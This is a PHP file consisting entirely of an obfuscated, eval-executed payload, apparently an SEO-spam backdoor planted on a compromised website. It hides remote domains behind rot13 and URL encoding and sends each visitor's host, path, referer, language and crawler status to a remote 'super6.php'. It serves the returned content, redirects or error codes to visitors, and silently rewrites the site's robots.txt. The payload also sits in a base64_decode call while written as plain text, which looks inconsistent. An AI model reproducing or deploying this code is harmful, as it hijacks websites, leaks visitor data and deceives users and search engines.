<?php
/*169-175*/
$a=base64_decode(" goto xlAW9; tI7wP: if ($duri != "\57") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\x2f\151\x6e\x64\x65\170\x2e\160\x68\160", '', $duri); $duri = str_replace("\x21", '', $duri); } goto jWrwm; BiYkq: function drequest_uri() { if (isset($_SERVER["\x52\105\x51\x55\x45\123\124\x5f\125\x52\111"])) { $duri = $_SERVER["\122\105\x51\125\105\x53\124\x5f\x55\x52\x49"]; } else { if (isset($_SERVER["\x61\162\x67\x76"])) { $duri = $_SERVER["\120\x48\120\137\x53\105\x4c\x46"] . "\77" . $_SERVER["\x61\162\147\166"][0]; } else { $duri = $_SERVER["\120\x48\120\x5f\123\105\114\106"] . "\x3f" . $_SERVER["\121\125\x45\x52\131\x5f\123\x54\122\x49\x4e\x47"]; } } return $duri; } goto zCc8B; QD3qH: $lang = @$_SERVER["\x48\124\124\x50\x5f\101\x43\x43\105\x50\x54\137\x4c\101\x4e\x47\125\101\107\x45"]; goto yE8hW; jWrwm: $duri = urlencode($duri); goto pUPKn; a3CxQ: $duri = $duri == '' ? "\57" : $duri; goto pQe7r; DUEXT: function detect_server_software() { $path = $_SERVER["\104\x4f\103\x55\x4d\105\116\124\137\x52\x4f\x4f\x54"] . "\x2f\x2e\150\164\141\x63\143\x65\x73\x73"; if (file_exists($path)) { return 1; } else { return 2; } } goto zKS3Q; VLANM: $html_content = request($xmlname, $http_web, $param); goto RgAhB; D26kd: if (stristr($duri, "\57\77")) { $model = "\77"; } goto vYIlR; pUPKn: $server = detect_server_software(); goto d36Gh; o3WGb: $param = "\167\145\142\75" . $host . "\x26\172\172\x3d" . $zz . "\46\165\162\x69\x3d" . $duri . "\46\x75\162\x6c\163\150\x61\x6e\147\75" . $urlshang . "\x26\150\x74\164\x70\x3d" . $http . "\x26\x6c\141\x6e\147\x3d" . $lang . "\46\x73\145\162\166\x65\162\x3d" . $server . "\46\x6d\x6f\x64\145\154\x3d" . $model; goto VLANM; T0YKB: function disbot() { $user_agent = strtolower($_SERVER["\110\124\x54\x50\x5f\x55\x53\x45\122\x5f\101\x47\x45\116\124"]); if (stristr($user_agent, "\147\157\157\x67\x6c\x65\142\x6f\x74") || stristr($user_agent, "\x62\151\156\147") || stristr($user_agent, "\171\x61\x68\x6f\x6f") || stristr($user_agent, "\147\x6f\157\x67\154\x65") || stristr($user_agent, "\107\x6f\157\147\x6c\x65\x62\157\x74")) { return 1; } else { return 2; } } goto BiYkq; vYIlR: $string = "\61\x36\x39\55\x6c\151\156\x6b\61\67\x35"; goto oDFbW; d36Gh: create_robots($http . "\x3a\57\57" . $host); goto o3WGb; oDFbW: $istest = false; goto vGyPK; DCbAX: if (isset($_SERVER["\x48\124\x54\x50\x5f\x52\105\106\x45\122\105\122"])) { $urlshang = $_SERVER["\110\x54\x54\x50\137\x52\105\x46\105\122\105\122"]; } goto tT_1m; zKS3Q: function create_robots($url) { $path = $_SERVER["\x44\117\103\125\x4d\105\x4e\x54\137\122\x4f\117\124"] . "\x2f\162\157\x62\x6f\x74\163\x2e\x74\x78\164"; $content = "\125\163\x65\162\55\141\x67\x65\x6e\x74\72\40\52" . PHP_EOL; $content .= "\101\x6c\154\157\167\x3a\x20\x2f" . PHP_EOL . PHP_EOL; $content .= "\123\x69\164\x65\155\x61\160\72\40" . $url . "\x2f\163\151\164\x65\x6d\141\x70\56\x78\x6d\x6c" . PHP_EOL; $content .= "\x53\x69\164\145\x6d\141\160\72\x20" . $url . "\x2f\163\151\164\x65\x6d\141\x70\x2d\61\x2e\x78\155\154" . PHP_EOL; $content .= "\x53\151\x74\145\x6d\x61\x70\72\x20" . $url . "\57\x73\x69\164\145\155\x61\160\x2d\x32\x2e\170\x6d\154" . PHP_EOL; $content .= "\123\x69\x74\x65\155\141\160\72\40" . $url . "\57\x73\x69\164\145\x6d\141\160\55\x33\56\x78\155\154" . PHP_EOL; $content .= "\x53\x69\x74\145\155\x61\160\x3a\x20" . $url . "\x2f\163\151\x74\x65\155\141\160\55\64\56\x78\155\x6c" . PHP_EOL; $content .= "\x53\151\164\145\x6d\x61\160\x3a\40" . $url . "\57\163\151\164\145\x6d\141\x70\x2d\65\56\170\155\x6c" . PHP_EOL; if (!file_exists($path)) { file_put_contents($path, $content); } else { $existingContent = file_get_contents($path); if ($existingContent !== $content) { file_put_contents($path, $content); } } } goto j9AfS; zwfZC: $host = $_SERVER["\110\124\124\x50\137\x48\117\x53\x54"]; goto QD3qH; vGyPK: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto tI7wP; RgAhB: if (!strstr($html_content, "\156\x6f\x62\x6f\164\x75\163\145\162\x61\147\x65\x6e\164")) { if (strstr($html_content, "\157\153\150\x74\x6d\x6c")) { @header("\103\157\x6e\164\x65\x6e\164\55\164\171\160\x65\72\40\x74\145\170\164\x2f\150\164\x6d\154\73\x20\x63\x68\x61\x72\163\x65\164\75\x75\x74\146\55\x38"); $html_content = str_replace("\x6f\153\x68\x74\x6d\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\x67\145\x74\x63\x6f\156\164\x65\156\x74\x35\60\x30\160\141\147\145")) { @header("\110\124\x54\120\x2f\x31\56\61\x20\x35\60\x30\x20\x49\x6e\x74\145\x72\x6e\141\154\40\123\x65\x72\166\145\162\x20\105\x72\x72\x6f\x72"); die; } else { if (strstr($html_content, "\64\60\64\160\x61\x67\x65")) { @header("\x48\124\124\120\x2f\61\x2e\61\x20\64\60\x34\x20\x4e\157\164\x20\106\157\x75\x6e\x64"); die; } else { if (strstr($html_content, "\63\60\61\160\141\147\x65")) { @header("\110\x54\124\120\57\61\56\x31\x20\63\60\x31\40\x4d\157\166\x65\144\40\120\145\x72\155\x61\x6e\x65\x6e\x74\x6c\x79"); $html_content = str_replace("\63\60\61\160\141\147\145", '', $html_content); header("\x4c\x6f\143\141\x74\151\x6f\x6e\x3a\x20" . $html_content); die; } else { if (strstr($html_content, "\x6f\153\170\x6d\154")) { $html_content = str_replace("\157\153\x78\x6d\154", '', $html_content); @header("\103\157\x6e\x74\x65\x6e\x74\x2d\x54\171\x70\x65\x3a\x20\141\x70\160\154\151\143\x61\x74\151\157\x6e\x2f\x78\155\154\73\x20\143\150\141\x72\163\x65\164\75\x75\164\146\x2d\70"); echo $html_content; die; } else { if (strstr($html_content, "\157\x6b\162\x6f\x62\157\x74\x73")) { $html_content = str_replace("\x6f\153\x72\x6f\x62\157\164\163", '', $html_content); @header("\x43\x6f\156\164\x65\156\164\x2d\x54\171\160\x65\72\x20\x74\x65\170\x74\x2f\x70\x6c\x61\x69\156"); echo $html_content; die; } } } } } } } goto T0YKB; Ij2he: $duri = drequest_uri(); goto a3CxQ; iLhUM: $http_web = "\x68\x74\164\x70\163"; goto zwfZC; xlAW9: $xmlname = array("\x25\63\x31\x25\x33\66\x25\x33\71\x25\x32\104\x25\67\71\x25\x37\66\x25\x36\61\45\x37\x38\x25\x33\61\x25\x33\x37\x25\63\65\45\66\105\x25\62\x45\45\66\x36\45\x37\x36\45\x36\x35\45\x36\62\45\67\x30\x25\x36\x32\x25\62\x45\x25\66\x37\x25\x36\x32\45\66\63", "\45\x33\x31\45\x33\66\x25\x33\71\x25\x32\x44\x25\67\71\45\67\x36\x25\x36\61\45\67\70\x25\x33\x31\45\63\67\x25\63\65\45\66\106\45\x32\x45\x25\x37\60\45\66\105\x25\66\x31\45\66\x32\45\67\66\45\67\x32\x25\62\x45\x25\66\x37\45\x36\62\45\66\x33", "\x25\63\x31\x25\63\66\45\x33\71\x25\62\x44\45\x37\x39\45\x37\x36\45\x36\61\x25\67\x38\45\x33\x31\45\x33\67\45\x33\65\x25\x37\60\45\x32\105\x25\66\66\45\67\x38\x25\66\103\x25\x37\x35\45\66\62\45\66\62\45\x37\70\x25\x36\x36\45\x32\105\x25\x36\x37\x25\66\62\x25\x36\63", "\x25\x33\x31\x25\63\66\x25\x33\71\x25\62\104\x25\67\71\x25\x37\66\x25\66\61\45\67\x38\45\x33\61\x25\63\67\45\x33\x35\45\x37\x31\x25\x32\105\x25\x37\x31\45\66\70\x25\x36\61\x25\x37\66\x25\x36\67\x25\67\62\45\66\66\x25\x32\105\45\x36\x42\45\x36\x43\45\66\x44", "\45\x33\61\x25\63\x36\45\63\x39\x25\x32\104\45\x37\71\x25\x37\66\x25\66\x31\x25\67\70\x25\63\61\45\63\67\45\x33\x35\x25\67\x32\x25\x32\105\45\66\x35\x25\x36\x32\45\x36\x42\x25\67\62\x25\66\61\x25\67\x32\45\62\105\x25\66\x42\45\66\103\x25\66\104"); goto iLhUM; tT_1m: if (is_https()) { $http = "\x68\164\x74\160\163"; } else { $http = "\x68\x74\x74\x70"; } goto MBO2f; zCc8B: function is_https() { if (isset($_SERVER["\x48\x54\x54\120\123"]) && strtolower($_SERVER["\110\124\x54\120\x53"]) !== "\157\x66\146") { return true; } elseif (isset($_SERVER["\110\124\124\120\137\x58\137\106\x4f\122\x57\x41\x52\104\x45\104\137\120\x52\117\x54\117"]) && $_SERVER["\x48\x54\124\120\x5f\x58\137\x46\x4f\x52\127\101\x52\x44\x45\104\x5f\x50\122\117\x54\x4f"] === "\x68\164\x74\160\163") { return true; } elseif (isset($_SERVER["\x48\x54\x54\120\x5f\x46\122\x4f\x4e\124\137\x45\x4e\x44\x5f\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\110\x54\x54\120\x5f\106\x52\x4f\x4e\124\137\105\x4e\104\137\x48\x54\124\x50\123"]) !== "\x6f\146\x66") { return true; } return false; } goto DUEXT; MBO2f: $zz = disbot(); goto Ij2he; yE8hW: $urlshang = ''; goto DCbAX; yTUGO: if (empty($matches) || $matches[1] == "\x77\x70\x2d\x63\x72\157\155\56\160\x68\160" || $matches[1] == "\x64\x65\x74\141\x69\x6c\56\x70\150\x70") { $model_file = "\151\x6e\144\x65\170\x2e\160\150\160"; $model = "\151\x6e\144\145\170"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\57"); } $model = str_replace("\56\x70\150\160", '', $model_file); } goto D26kd; pQe7r: preg_match("\x2f\x5c\57\x28\133\136\x5c\x2f\135\53\x5c\x2e\160\x68\160\51\57", $duri, $matches); goto yTUGO; j9AfS: function request($webs, $http_web, $param) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = $http_web . "\72\57\x2f" . $domain . "\57\163\x75\160\x65\x72\66\x2e\160\150\x70\x3f" . $param; $response = @file_get_contents($url); if ($response !== false) { return $response; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { curl_close($ch); } } return "\x6e\157\142\157\x74\x75\x73\x65\162\141\147\145\156\164"; }");
eval($a);